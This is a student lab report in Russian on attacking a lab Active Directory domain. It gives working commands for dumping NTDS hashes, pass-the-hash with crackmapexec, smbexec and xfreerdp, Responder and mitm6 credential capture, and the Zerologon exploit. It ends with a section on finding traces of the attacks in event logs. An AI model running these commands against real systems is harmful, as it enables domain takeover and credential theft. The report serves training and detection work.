# Занятие 6. Базовые атаки и компрометация доменной Windows-инфраструктуры. ## Модуль: OS Windows & AD basic #### Выполнил: Галлямов Азат _ _ _ В данном заданиии мы провели анализ базы NTDS, выполнили атаку “Path-the-hash” и реализовали атаки на базовые протоколы Windows. ## Практическая работа №6.1 Базовые атаки на Windows-инфраструктуру. #### __Этап 1. Анализ базы NTDS__ 1. Мы воспользовались базовыми средствами Windows для работы с NTDS. Далее зашли в командную строку от имени администратора и ввели команды: ```ntdsutil, activate instance ntds, ifm, create full C:\temp```. Сделали копию нашего NTDS с необходимыми ветками реестра. ![](https://i.imgur.com/jSnnGTr.png) _Рис.1 Создали копию базы NTDS_ ![](https://i.imgur.com/Xj8Emi7.png) _Рис.2 Сохранённые файлы в папке temp_ 2. Далее мы скопировали файлы NTDS на хост Kali linux. Подключились по smb клиенту к dc01, использовали команды ```recurse ON, prompt OFF, lcd /home/user, mget temp```. ![](https://i.imgur.com/a5Tdv41.png) _Рис.3 Скопировали файлы_ 3. Провели анализ NTDS. Для этого скачали impacket ```git clone https://github.com/SecureAuthCorp/impacket ```. Выполнили следующие команды : ``` python3 secretsdump.py -ntds /home/sam/temp/Active\ Directory/ntds.dit -system /home/sam/temp/registry/SYSTEM LOCAL```. ![](https://i.imgur.com/5LuLCg8.png) _Рис.4 Скачали impacket_ ![](https://i.imgur.com/6RRRVPA.png) _Рис.5 Анализ NTDS_ #### __Этап 2. Path-the-hash__ 1. В данном пункте мы рассмотрели Crackmapexec. Это набор python-скриптов для тестирования Windows окружения. Выполнили быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом smb: ```crackmapexec smb 192.168.10.0/24``` (рис.6). Далее мы выполнили команды от имени пользователя на удаленной машине посредством командной строки: ```crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami``` (рис.7). Хэши мы взяли из базы NTDS. Далее посмотрели список сетевых папок, доступных конкретному пользователю: ```crackmapexec smb 192.168.10.201 -u Administrator -H hash --shares``` (рис.8). ![](https://i.imgur.com/w28NgS4.png) _Рис.6 Сканирование сети и обнаружение хостов_ ![](https://i.imgur.com/4jZfC9M.png) _Рис.7 Выполнение команды от имени пользователя на удаленной машине_ ![](https://i.imgur.com/krmRS9T.png) _Рис.8 Просмотр списока сетевых папок_ 2. Далее мы использовали утилиту smbexec, которая позволяет запустить cmd windows для удаленной передачи команд. ![](https://i.imgur.com/IWm4xkS.png) _Рис.9 Удалённое выполнение команд_ 3. Рассмотрели возможности __XFreeRDP__. Она позволяет зайти по RDP с помощью хэша. Для этого используется следующая команда: ```xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH```. Но для начала включили удалённый доступ по RDP на dc1, доступ дали администраторам домена. Неудачный вход из-за политики restricted admin. ![](https://i.imgur.com/VQ3Qs15.png) _Рис.10 Включили доступ по RDP_ ![](https://i.imgur.com/9iqAZk5.png) _Рис.11 Попытка входа по RDP под УЗ ADMIgor_ ![](https://i.imgur.com/hZGaqZj.png) _Рис.12 Неудачный вход_ 4. Исправили ситуацию, изменили параметр реестра на dc01. Использовали команду: ```New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force```. Также можем увидеть выполнение этой команды в Event Viwer, в журналах powershell. ![](https://i.imgur.com/LqxNkZr.png) _Рис.13 Изменили параметр реестра на dc01_ ![](https://i.imgur.com/y7vY7K5.png) _Рис.14 В событиях видим выполнение этой команды_ 5. Успешный вход с xfreerdp. ![](https://i.imgur.com/Z4Z8HzZ.png) _Рис.14 Успешный вход_ #### __Этап 3. Атаки на базовые протоколы Windows__ 1. Проанализировали инфраструктуру через __responder__. Запустили анализ командой: ```responder -I eth0 -A```. На pc01 попытаемся обратиться к несуществующему сетевому ресурсу. Анализатор видит LLNMR, NBNS запросы ![](https://i.imgur.com/R9xmKVg.png) _Рис.15 Запустили анализ_ ![](https://i.imgur.com/uvNTDdP.png) _Рис.16 На pc01 обратились к несуществующему ресурсу_ ![](https://i.imgur.com/Jikv0Xp.png) _Рис.17 LLNMR, NBNS запросы_ 2. Перейдём в режим атаки при помощи команды: ```responder -I eth0 -wFv```. На pc01 снова перешли по несуществующему пути. Responder притворяется этим ресурсом, поэтому мы увидели окно аутентификации. Responder перехватил аутентификационный токен для пользователей Igor, ADMIgor. ![](https://i.imgur.com/FjNiiGS.png) _Рис.18 Перешли в режим атаки_ ![](https://i.imgur.com/MHhPq0x.png) _Рис.19 На pc01 снова перешли по несуществующему пути_ ![](https://i.imgur.com/RcxNMgb.png) _Рис.20 Responder перехватил аутентификационный токен_ #### _Атака при помощи mitm6_ Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети. 1. Установили mitm6 командой : ```pip install mitm6```. Далее выполнили атаку командой: ```mitm6.py -d pt.local```. Посмотрели настройки сетевого адаптера pc01. ![](https://i.imgur.com/y8ipi0c.png) _Рис.21 Установка_ ![](https://i.imgur.com/pDXqfpf.png) _Рис.22 Начало атаки_ ![](https://i.imgur.com/DAMl3Ht.png) _Рис.23 Параметры адаптера на pc01_ 2. Пока мы подменили параметры у win10, обеспечив mitm. Чтобы атака прошла незаметно для пользователя, воспользовались способом, который позволил нам прикинуться ресурсом, который требует аутентификацию. Создали свой сервера SMB, не отключая mitm6: ```python3 smbserver.py -smb2support SMB /root/SMB```. ![](https://i.imgur.com/2gi1Xx6.png) _Рис.24 Запуск SMB_ 3. На pc01 через проводник зашли на наш SMB. Удачно. На Kali увидели данные аутентификации в выводе программы.Эти аутентификационные данные уже можно вскрывать с помощью hashcat или John the ripper. Это не чистый хэш пароля, а аутентификация по протоколу NTLMv2. ![](https://i.imgur.com/Svht9b6.png) _Рис.25 Зашли на наш SMB_ ![](https://i.imgur.com/y2v3rVu.png) _Рис.26 Аутентификационные данные_ ## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры. В данном задании мы провели эксплуатацию уязвимостей контроллера домена и нашли следы эксплуатации уязвимостей. 1. Активировали политику аудита машинных учетных записей и применить к контроллерам домена. ![](https://i.imgur.com/8kAXLgB.png) _Рис.27 Политика аудита машинных учетных записей_ ![](https://i.imgur.com/XURufHO.png) _Рис.28 Принудительное применение политики_ 2. Скачали файлы с репозитория с эксплойтами для zerologon. Далее в файле README нашли команды и использовали команду ```python3 set_empty_pw.py DC1 192.168.10.200```. Скрипт обнулил пароль машинной учетной записи контроллера домена. ![](https://i.imgur.com/D3jAyZO.png) _Рис.29 Скачали файлы с репозитория_ ![](https://i.imgur.com/oHRuPnr.png) _Рис.30 Обнулили пароль машинной учетной записи контроллера домена_ 3. Перешли в impacket/examples и выполнили оттуда команду ```python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC01$@192.168.10.200' ```. В качестве хэша использовали хэш DefaultAccount. Далее с помощью полученных хешей учетных данных выполнили команду от пользователя ADMIgor. ![](https://i.imgur.com/yBK57Le.png) _Рис.31 Получили данные с NTDS_ ![](https://i.imgur.com/Y4XFvxb.png) _Рис.32 Выполнение команды от ADMIgor_ #### __Поиск следов эксплуатации уязвимостей__ 1. Проверили журнал System и увидели ошибку Netlogon. Далее проверили журнал Security, там увидели событие 4742. ![](https://i.imgur.com/7DPUxag.png) _Рис.33 Ошибка Netlogon_ ![](https://i.imgur.com/Xht57PJ.png) _Рис.34 Событие 4742_ 2. Проанализировали событие. ANONYMOUS LOGON - подозрительный факт. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823. Поэтому далее мы в журнале System с помощью фильтра нашли событие 5823. Событие есть, но оно произошло намного раньше.(при поиске события 4742 за день, когда произошло 5823, мы их найдём. Это легитимные события, связанные с введением в домен dc2) ![](https://i.imgur.com/gQbIvqN.png) _Рис.35 Проанализировали событие_ ![](https://i.imgur.com/lBVDKY2.png) _Рис.36 Нашли событие с id 5823_ 3. В нашем случае также происходил дамп NTDS, поэтому мы видим данные выгрузки в журнале Direcrory Service, номер события 1644. (если событий нет, проверте, что значение реестра ```HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\Field Engineering``` равно 5). ![](https://i.imgur.com/U3a8wX9.png) _Рис.37 Событие дампа NTDS_